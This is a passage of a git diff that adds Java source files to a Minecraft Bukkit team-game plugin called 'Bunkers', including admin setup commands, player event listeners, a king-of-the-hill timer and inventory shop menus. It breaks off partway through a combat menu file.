a/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetMinimumPlayersArgument.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetMinimumPlayersArgument.java new file mode 100644 index 0000000..77f7538 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetMinimumPlayersArgument.java @@ -0,0 +1,47 @@ +package me.redis.bunkers.information.commands.argments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.JavaUtils; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetMinimumPlayersArgument extends CommandArgument { + public SetMinimumPlayersArgument() { + super("setminplayers", null, "minplayers"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + if (!JavaUtils.isInteger(args[1])) { + player.sendMessage(ChatColor.RED + "You must introduce a number"); + return true; + } + + Information information = Bunkers.getPlugin().getInformationManager().getInformation(); + information.setMinPlayers(Integer.parseInt(args[1])); + information.save(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the minimum players to start. &7&o(You can check them by /information show)")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetServerNameArgument.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetServerNameArgument.java new file mode 100644 index 0000000..e7e469a --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetServerNameArgument.java @@ -0,0 +1,41 @@ +package me.redis.bunkers.information.commands.argments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetServerNameArgument extends CommandArgument { + public SetServerNameArgument() { + super("setservername", null, "sername"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = Bunkers.getPlugin().getInformationManager().getInformation(); + information.setServerName(args[1]); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the server name. &7&o(You can check them by /information show)")); + information.save(); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetSpawnArgument.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetSpawnArgument.java new file mode 100644 index 0000000..2eb29d7 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetSpawnArgument.java @@ -0,0 +1,42 @@ +package me.redis.bunkers.information.commands.argments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetSpawnArgument extends CommandArgument { + public SetSpawnArgument() { + super("setspawn", null, "setspawnlocation"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = Bunkers.getPlugin().getInformationManager().getInformation(); + + information.setLobbyLocation(LocationUtils.getString(player.getLocation().add(0.5, 0.5, 0.5))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the spawn coordinates. &7&o(You can check them by /information show)")); + information.save(); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/ShowArgument.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/ShowArgument.java new file mode 100644 index 0000000..5381d8f --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/ShowArgument.java @@ -0,0 +1,58 @@ +package me.redis.bunkers.information.commands.argments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class ShowArgument extends CommandArgument { + public ShowArgument() { + super("show", null, "who", "i", "info"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = Bunkers.getPlugin().getInformationManager().getInformation(); + Location lobby = LocationUtils.getLocation(information.getLobbyLocation()); + + if (lobby == null) { + player.sendMessage(ChatColor.RED + "You must set the spawn location."); + return true; + } + + if (information.getKothFirstLocation() == null || information.getKothSecondLocation() == null) { + player.sendMessage(ChatColor.RED + "You must set the koth location."); + return true; + } + + Location koth = information.getKothCenter(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&6&nInformation")); + player.sendMessage(""); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', " &eSpawn location&7: &f" + lobby.getBlockX() + ", " + lobby.getBlockZ())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', " &eKoth location&7: &f" + koth.getBlockX() + ", " + koth.getBlockZ())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/koth/Koth.java b/Bunkers/src/main/java/me/redis/bunkers/koth/Koth.java new file mode 100644 index 0000000..f561b8c --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/koth/Koth.java @@ -0,0 +1,37 @@ +package me.redis.bunkers.koth; + +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.tasks.GameTimeTask; +import me.redis.bunkers.utils.BukkitUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.entity.Player; +import org.bukkit.event.Listener; +import org.bukkit.scheduler.BukkitRunnable; + +public class Koth implements Listener { + @Getter @Setter private int seconds = 600; + @Getter @Setter private int capSeconds = 600; + @Getter @Setter Player controller; + + public Koth() { + new BukkitRunnable() { + @Override public void run() { + if (GameTimeTask.getNumOfSeconds() == 600) { + setSeconds(300); + if (capSeconds > 300) { + setCapSeconds(300); + } + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&7[&6KingOfTheHill&7] &eThe &9Koth &etime has been decreased. &7(05:00)")); + } + } + }.runTaskTimerAsynchronously(Bunkers.getPlugin(), 0L, 20L); + } + + public boolean isInsideArea(Location location) { + return Bunkers.getPlugin().getInformationManager().getInformation().getKothCuboid().contains(location); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/listeners/DeathMessageListener.java b/Bunkers/src/main/java/me/redis/bunkers/listeners/DeathMessageListener.java new file mode 100644 index 0000000..7ae8e26 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/listeners/DeathMessageListener.java @@ -0,0 +1,64 @@ +package me.redis.bunkers.listeners; + +import com.google.common.base.Preconditions; +import jdk.jfr.events.ExceptionThrownEvent; +import me.redis.bunkers.Bunkers; +import net.minecraft.server.v1_7_R4.EntityLiving; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.craftbukkit.v1_7_R4.entity.CraftEntity; +import org.bukkit.craftbukkit.v1_7_R4.entity.CraftPlayer; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.PlayerDeathEvent; + +public class DeathMessageListener implements Listener { + private final Bunkers plugin = Bunkers.getPlugin(); + + public static String replaceLast(final String text, final String regex, final String replacement) { + return text.replaceFirst("(?s)" + regex + "(?!.*?" + regex + ')', replacement); + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.HIGHEST) + public void onPlayerDeath(final PlayerDeathEvent event) { + final String message = event.getDeathMessage(); + if(message == null || message.isEmpty()) { + return; + } + event.setDeathMessage(getDeathMessage(message, event.getEntity(), this.getKiller(event))); + } + + private CraftEntity getKiller(final PlayerDeathEvent event) { + final EntityLiving lastAttacker = ((CraftPlayer) event.getEntity()).getHandle().lastDamager; + return (lastAttacker == null) ? null : lastAttacker.getBukkitEntity(); + } + + private String getDeathMessage(String input, final Entity entity, final Entity killer) { + input = input.replaceFirst("\\[", ""); + input = replaceLast(input, "]", ""); + if(entity != null) { + input = input.replaceFirst("(?i)" + this.getEntityName(entity), ChatColor.RED + this.getDisplayName(entity) + ChatColor.YELLOW); + } + if(killer != null && (entity == null || !killer.equals(entity))) { + input = input.replaceFirst("(?i)" + this.getEntityName(killer), ChatColor.RED + this.getDisplayName(killer) + ChatColor.YELLOW); + } + return input; + } + + private String getEntityName(final Entity entity) { + Preconditions.checkNotNull((Object) entity, "Entity cannot be null"); + return (entity instanceof Player) ? ((Player) entity).getName() : ((CraftEntity) entity).getHandle().getName(); + } + + private String getDisplayName(final Entity entity) { + Preconditions.checkNotNull((Object) entity, "Entity cannot be null"); + if(entity instanceof Player) { + final Player player = (Player) entity; + return plugin.getTeamManager().getByPlayer(player).getColor() + player.getName() + ChatColor.GRAY + "[" + ChatColor.WHITE + Bunkers.getPlugin().getProfileManager().getProfile(player).getMatchKills() + ChatColor.GRAY + "]"; + } + return WordUtils.capitalizeFully(entity.getType().name().replace('_', ' ')); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/listeners/PlayerListeners.java b/Bunkers/src/main/java/me/redis/bunkers/listeners/PlayerListeners.java new file mode 100644 index 0000000..0d8ef6c --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/listeners/PlayerListeners.java @@ -0,0 +1,260 @@ +package me.redis.bunkers.listeners; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.game.status.GameStatus; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.ItemBuilder; +import me.redis.bunkers.utils.LocationUtils; +import net.minecraft.server.v1_7_R4.EnumClickAction; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.GameMode; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.entity.TNTPrimed; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.event.block.BlockPlaceEvent; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.entity.EntitySpawnEvent; +import org.bukkit.event.entity.PlayerDeathEvent; +import org.bukkit.event.player.*; +import org.bukkit.event.server.ServerListPingEvent; +import org.bukkit.event.weather.WeatherChangeEvent; +import org.bukkit.inventory.ItemStack; + +public class PlayerListeners implements Listener { + private Bunkers bunkers = Bunkers.getPlugin(); + + ItemStack red = new ItemBuilder(Material.STAINED_GLASS_PANE).setDurability(14).setDisplayName("&c&lRed Team").create(); + ItemStack blue = new ItemBuilder(Material.STAINED_GLASS_PANE).setDurability(3).setDisplayName("&9&lBlue Team").create(); + ItemStack green = new ItemBuilder(Material.STAINED_GLASS_PANE).setDurability(5).setDisplayName("&a&lGreen Team").create(); + ItemStack yellow = new ItemBuilder(Material.STAINED_GLASS_PANE).setDurability(4).setDisplayName("&e&lYellow Team").create(); + + @EventHandler + public void onJoin(PlayerJoinEvent event) { + Player player = event.getPlayer(); + + event.setJoinMessage(null); + + if (bunkers.getInformationManager().getInformation().getLobbyLocation() != null) { + player.teleport(LocationUtils.getLocation(bunkers.getInformationManager().getInformation().getLobbyLocation())); + } else { + player.sendMessage(ChatColor.RED + "You must set the spawn location."); + } + + if (bunkers.getGameManager().canBePlayed()) { + if (bunkers.getInformationManager().getInformation().getMinPlayers() <= Bukkit.getOnlinePlayers().size() && bunkers.getGameManager().getStatus() == GameStatus.WAITING) { + bunkers.getGameManager().startCooldown(); + } + + player.getInventory().clear(); + player.getInventory().setArmorContents(null); + player.setHealth(20); + player.setSaturation(20); + player.setGameMode(GameMode.SURVIVAL); + player.setAllowFlight(false); + + player.getInventory().setItem(1, red); + player.getInventory().setItem(3, blue); + player.getInventory().setItem(5, green); + player.getInventory().setItem(7, yellow); + } else { + player.sendMessage(ChatColor.RED + "You must set-up the bunkers."); + } + } + + @EventHandler + public void onInteract(PlayerInteractEvent event) { + Player player = event.getPlayer(); + ItemStack itemStack = event.getItem(); + + if (itemStack != null && (event.getAction() == Action.RIGHT_CLICK_BLOCK || event.getAction() == Action.RIGHT_CLICK_AIR)) { + if (itemStack.isSimilar(red)) { + Team team = Bunkers.getPlugin().getTeamManager().getByName("Red"); + + if (team.getMembers().size() >= 5) { + player.sendMessage(ChatColor.RED + "The red team is full."); + return; + } + + if (Bunkers.getPlugin().getTeamManager().getByPlayer(player) != null) { + Bunkers.getPlugin().getTeamManager().getByPlayer(player).getMembers().remove(player.getUniqueId()); + } + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have joined the &cred &eteam.")); + team.getMembers().add(player.getUniqueId()); + } else if (itemStack.isSimilar(blue)) { + Team team = Bunkers.getPlugin().getTeamManager().getByName("Blue"); + + if (team.getMembers().size() >= 5) { + player.sendMessage(ChatColor.RED + "The blue team is full."); + return; + } + + if (Bunkers.getPlugin().getTeamManager().getByPlayer(player) != null) { + Bunkers.getPlugin().getTeamManager().getByPlayer(player).getMembers().remove(player.getUniqueId()); + } + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have joined the &9blue &eteam.")); + team.getMembers().add(player.getUniqueId()); + } else if (itemStack.isSimilar(green)) { + Team team = Bunkers.getPlugin().getTeamManager().getByName("Green"); + + if (team.getMembers().size() >= 5) { + player.sendMessage(ChatColor.RED + "The green team is full."); + return; + } + + if (Bunkers.getPlugin().getTeamManager().getByPlayer(player) != null) { + Bunkers.getPlugin().getTeamManager().getByPlayer(player).getMembers().remove(player.getUniqueId()); + } + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have joined the &agreen &eteam.")); + team.getMembers().add(player.getUniqueId()); + } else if (itemStack.isSimilar(yellow)) { + Team team = Bunkers.getPlugin().getTeamManager().getByName("Yellow"); + + if (team.getMembers().size() >= 5) { + player.sendMessage(ChatColor.RED + "The yellow team is full."); + return; + } + + if (Bunkers.getPlugin().getTeamManager().getByPlayer(player) != null) { + Bunkers.getPlugin().getTeamManager().getByPlayer(player).getMembers().remove(player.getUniqueId()); + } + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have joined the &6yellow &eteam.")); + team.getMembers().add(player.getUniqueId()); + } + } + } + + @EventHandler + public void onAsyncJoin(AsyncPlayerPreLoginEvent event) { + if (Bukkit.getServer().getOnlinePlayers().size() >= 20) { + event.setLoginResult(AsyncPlayerPreLoginEvent.Result.KICK_OTHER); + event.setKickMessage(ChatColor.RED + "The match is full."); + return; + } + + if (bunkers.getGameManager().getStatus() != GameStatus.WAITING) { + event.setLoginResult(AsyncPlayerPreLoginEvent.Result.KICK_OTHER); + event.setKickMessage(ChatColor.RED + "You can't join a started match."); + } + } + + @EventHandler + public void onBreak(BlockBreakEvent event) { + if (bunkers.getGameManager().getStatus() != GameStatus.PLAYING) { + Player player = event.getPlayer(); + + if (player.isOp() && player.getGameMode() == GameMode.CREATIVE) { + event.setCancelled(false); + } else { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onPlace(BlockPlaceEvent event) { + if (bunkers.getGameManager().getStatus() != GameStatus.PLAYING) { + Player player = event.getPlayer(); + + if (player.isOp() && player.getGameMode() == GameMode.CREATIVE) { + event.setCancelled(false); + } else { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onDrop(PlayerDropItemEvent event) { + Player player = event.getPlayer(); + + if (player.isOp() && player.getGameMode() == GameMode.CREATIVE) return; + + if (bunkers.getGameManager().getStatus() != GameStatus.PLAYING) { + event.setCancelled(true); + } + } + + @EventHandler + public void onDeath(PlayerDeathEvent event) { + Player player = event.getEntity(); + Team team = Bunkers.getPlugin().getTeamManager().getByPlayer(player); + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + + team.setDtr(team.getDtr() - 1); + profile.setDeaths(profile.getDeaths() + 1); + + if (event.getEntity().getKiller() != null) { + Bunkers.getPlugin().getProfileManager().getProfile(event.getEntity().getKiller()).setKills(Bunkers.getPlugin().getProfileManager().getProfile(event.getEntity().getKiller()).getKills() + 1); + Bunkers.getPlugin().getProfileManager().getProfile(event.getEntity().getKiller()).setMatchKills(Bunkers.getPlugin().getProfileManager().getProfile(event.getEntity().getKiller()).getMatchKills() + 1); + } + + if (team.getDtr() <= 0) { + Bunkers.getPlugin().getSpectatorManager().setSpectator(player); + } else { + player.spigot().respawn(); + } + } + + @EventHandler + public void onQuit(PlayerQuitEvent event) { + Player player = event.getPlayer(); + + if (Bunkers.getPlugin().getTeamManager().getByPlayer(player) != null) { + Team team = Bunkers.getPlugin().getTeamManager().getByPlayer(player); + + if (bunkers.getGameManager().getStatus() == GameStatus.WAITING) { + team.getMembers().remove(player.getUniqueId()); + } else if (bunkers.getGameManager().getStatus() == GameStatus.PLAYING) { + team.setDtr(team.getDtr() - 1); + } else if (bunkers.getGameManager().getStatus() == GameStatus.STARTING) { + team.getMembers().remove(player.getUniqueId()); + } + } + } + + @EventHandler + public void onRespawn(PlayerRespawnEvent event) { + event.setRespawnLocation(LocationUtils.getLocation(Bunkers.getPlugin().getTeamManager().getByPlayer(event.getPlayer()).getSpawnLocation())); + } + + @EventHandler + public void onDamage(EntityDamageEvent event) { + if (Bunkers.getPlugin().getGameManager().getStatus() != GameStatus.PLAYING) { + event.setCancelled(true); + } else { + if (event instanceof EntityDamageByEntityEvent) { + if (((EntityDamageByEntityEvent) event).getDamager() instanceof Player && event.getEntity() instanceof Player) { + Player damaged = (Player) event.getEntity(); + Player damager = (Player) ((EntityDamageByEntityEvent) event).getDamager(); + + if (Bunkers.getPlugin().getTeamManager().getByPlayer(damaged) == Bunkers.getPlugin().getTeamManager().getByPlayer(damager)) { + event.setCancelled(true); + } + } + } + } + } + + @EventHandler + public void onWeather(WeatherChangeEvent event) { + if (event.toWeatherState()) { + event.setCancelled(true); + } + } + + @EventHandler + public void onMotd(ServerListPingEvent event) { + event.setMotd(Bukkit.getServerName() + ";" + Bunkers.getPlugin().getGameManager().getStatus().name() + ";" + Bunkers.getPlugin().getKoth().getCapSeconds() + ";" + Bukkit.getOnlinePlayers().size()); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/IMenu.java b/Bunkers/src/main/java/me/redis/bunkers/menu/IMenu.java new file mode 100644 index 0000000..92d96d1 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/IMenu.java @@ -0,0 +1,26 @@ +package me.redis.bunkers.menu; + +import org.bukkit.entity.Player; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryCloseEvent; +import org.bukkit.event.inventory.InventoryDragEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.InventoryHolder; + +public interface IMenu extends InventoryHolder { + + default String getTitle() { return getInventory().getType().getDefaultTitle(); } + + default void open(Player player) { player.openInventory(getInventory()); }; + + void onInventoryClick(InventoryClickEvent event); + + default void onInventoryDrag(InventoryDragEvent event) { + Inventory topInventory = event.getView().getTopInventory(); + if (topInventory.equals(getInventory())) { + event.setCancelled(true); + } + } + + default void onInventoryClose(InventoryCloseEvent event) {}; +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/InventoryUtil.java b/Bunkers/src/main/java/me/redis/bunkers/menu/InventoryUtil.java new file mode 100644 index 0000000..0ef6f06 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/InventoryUtil.java @@ -0,0 +1,20 @@ +package me.redis.bunkers.menu; + +import net.minecraft.server.v1_7_R4.EntityPlayer; +import net.minecraft.server.v1_7_R4.PacketPlayOutOpenWindow; +import org.bukkit.craftbukkit.v1_7_R4.entity.CraftPlayer; +import org.bukkit.entity.Player; + +public class InventoryUtil { + + public static void changeTitle(Player player, String title) { + EntityPlayer entityPlayer = ((CraftPlayer) player).getHandle(); + int windowId = entityPlayer.activeContainer.windowId; + + PacketPlayOutOpenWindow packet = new PacketPlayOutOpenWindow(windowId, 0, title, player.getOpenInventory().getTopInventory().getSize(), true); + + entityPlayer.playerConnection.sendPacket(packet); + + player.updateInventory(); + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/MenuListener.java b/Bunkers/src/main/java/me/redis/bunkers/menu/MenuListener.java new file mode 100644 index 0000000..a06d9ed --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/MenuListener.java @@ -0,0 +1,32 @@ +package me.redis.bunkers.menu; + +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryCloseEvent; +import org.bukkit.event.inventory.InventoryDragEvent; + +public class MenuListener implements Listener { + + @EventHandler(ignoreCancelled = true, priority = EventPriority.HIGH) + public void onInventoryClick(InventoryClickEvent event) { + if (event.getInventory().getHolder() instanceof IMenu) { + ((IMenu) event.getInventory().getHolder()).onInventoryClick(event); + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.HIGH) + public void onInventoryDrag(InventoryDragEvent event) { + if (event.getInventory().getHolder() instanceof IMenu) { + ((IMenu) event.getInventory().getHolder()).onInventoryDrag(event); + } + } + + @EventHandler + public void onInventoryClose(InventoryCloseEvent event) { + if (event.getInventory().getHolder() instanceof IMenu) { + ((IMenu) event.getInventory().getHolder()).onInventoryClose(event); + } + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/menu/BuildMenu.java b/Bunkers/src/main/java/me/redis/bunkers/menu/menu/BuildMenu.java new file mode 100644 index 0000000..5584656 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/menu/BuildMenu.java @@ -0,0 +1,112 @@ +package me.redis.bunkers.menu.menu; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.menu.type.ChestMenu; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.utils.ItemBuilder; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.inventory.InventoryAction; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryDragEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.util.ChatPaginator; + +public class BuildMenu extends ChestMenu { + private Player player; + + public BuildMenu(Player player) { + super(6 * 9); + this.player = player; + + update(); + } + + public void update() { + inventory.clear(); + + inventory.addItem(new ItemBuilder(Material.CHEST).setAmount(16).setDisplayName("&aChest").setLore("&7&m-------------------", "&716 x Chest", "&7&m-------------------", "&ePrice: &a$50").create()); + inventory.addItem(new ItemBuilder(Material.STONE).setAmount(16).setDisplayName("&aStone").setLore("&7&m-------------------", "&716 x Stone", "&7&m-------------------", "&ePrice: &a$50").create()); + inventory.addItem(new ItemBuilder(Material.COBBLESTONE).setAmount(16).setDisplayName("&aCobblestone").setLore("&7&m-------------------", "&716 x Cobblestone", "&7&m-------------------", "&ePrice: &a$50").create()); + inventory.addItem(new ItemBuilder(Material.FENCE_GATE).setAmount(16).setDisplayName("&aFence Gate").setLore("&7&m-------------------", "&716 x Fence Gate", "&7&m-------------------", "&ePrice: &a$50").create()); + inventory.addItem(new ItemBuilder(Material.STONE_PLATE).setAmount(16).setDisplayName("&aPressure Plate").setLore("&7&m-------------------", "&716 x Pressure Plate", "&7&m-------------------", "&ePrice: &a$50").create()); + inventory.addItem(new ItemBuilder(Material.LADDER).setAmount(16).setDisplayName("&aLadder").setLore("&7&m-------------------", "&716 x Ladder", "&7&m-------------------", "&ePrice: &a$50").create()); + inventory.addItem(new ItemBuilder(Material.STONE_BUTTON).setAmount(16).setDisplayName("&aStone Button").setLore("&7&m-------------------", "&716 x Stone Button", "&7&m-------------------", "&ePrice: &a$50").create()); + inventory.addItem(new ItemBuilder(Material.TRAPPED_CHEST).setAmount(16).setDisplayName("&aTrapped Chest").setLore("&7&m-------------------", "&716 x Trapped Chest", "&7&m-------------------", "&ePrice: &a$50").create()); + inventory.addItem(new ItemBuilder(Material.GLASS).setAmount(16).setDisplayName("&aGlass").setLore("&7&m-------------------", "&716 x Glass", "&7&m-------------------", "&ePrice: &a$50").create()); + + inventory.setItem(48, new ItemBuilder(Material.DIAMOND_PICKAXE).setDisplayName("&aDiamond Pickaxe").setLore("&7&m-------------------", "&71 x Diamond Pickaxe", "&7&m-------------------", "&ePrice: &a$75").create()); + inventory.setItem(49, new ItemBuilder(Material.DIAMOND_AXE).setDisplayName("&aDiamond Axe").setLore("&7&m-------------------", "&71 x Diamond Axe", "&7&m-------------------", "&ePrice: &a$65").create()); + inventory.setItem(50, new ItemBuilder(Material.DIAMOND_SPADE).setDisplayName("&aDiamond Shovel").setLore("&7&m-------------------", "&71 x Diamond Shovel", "&7&m-------------------", "&ePrice: &a$55").create()); + + for (int i = 0; i < 6*9; i++) { + if (inventory.getItem(i) != null) continue; + + inventory.setItem(i, new ItemBuilder(Material.STAINED_GLASS_PANE).setDurability(7).setDisplayName(" ").create()); + } + } + + @Override + public String getTitle() { + return ChatColor.RED + ChatColor.BOLD.toString() + "Block Shop"; + } + + @Override + public void onInventoryClick(InventoryClickEvent event) { + Inventory clickedInventory = event.getClickedInventory(); + Inventory topInventory = event.getView().getTopInventory(); + if (clickedInventory == null || topInventory == null || !topInventory.equals(inventory)) { + return; + } + + Player player = (Player) event.getWhoClicked(); + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + + if (topInventory.equals(clickedInventory)) { + event.setCancelled(true); + + if (event.getCurrentItem().getType() != Material.AIR) { + if (event.getCurrentItem().getItemMeta() != null && event.getCurrentItem().getType() != Material.STAINED_GLASS_PANE) { + int balance = profile.getBalance(); + int cost = Integer.parseInt(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(3).split(" ")[1].replace("$", ""))); + int cuantos = Integer.parseInt(stripNonDigits(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(1)))); + + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + } else { + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType(), cuantos)); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } + } + } + } else if (!topInventory.equals(clickedInventory) && event.getAction() == InventoryAction.MOVE_TO_OTHER_INVENTORY) { + event.setCancelled(true); + } + } + + @Override + public void onInventoryDrag(InventoryDragEvent event) { + Inventory topInventory = event.getView().getTopInventory(); + if (topInventory.equals(getInventory())) { + event.setCancelled(true); + } + } + + public static String stripNonDigits( + final CharSequence input /* inspired by seh's comment */){ + final StringBuilder sb = new StringBuilder( + input.length() /* also inspired by seh's comment */); + for(int i = 0; i < input.length(); i++){ + final char c = input.charAt(i); + if(c > 47 && c < 58){ + sb.append(c); + } + } + return sb.toString(); + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/menu/CombatMenu.java b/Bunkers/src/main/java/me/redis/bunkers/menu/menu/CombatMenu.java new file mode 100644 index 0000000..3abb5bd --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/menu/CombatMenu.java @@ -0,0 +1,253 @@ +package me.redis.bunkers.menu.menu; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.menu.type.ChestMenu; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.utils.ItemBuilder; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.inventory.ClickType; +import org.bukkit.event.inventory.InventoryAction; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryDragEvent; +import 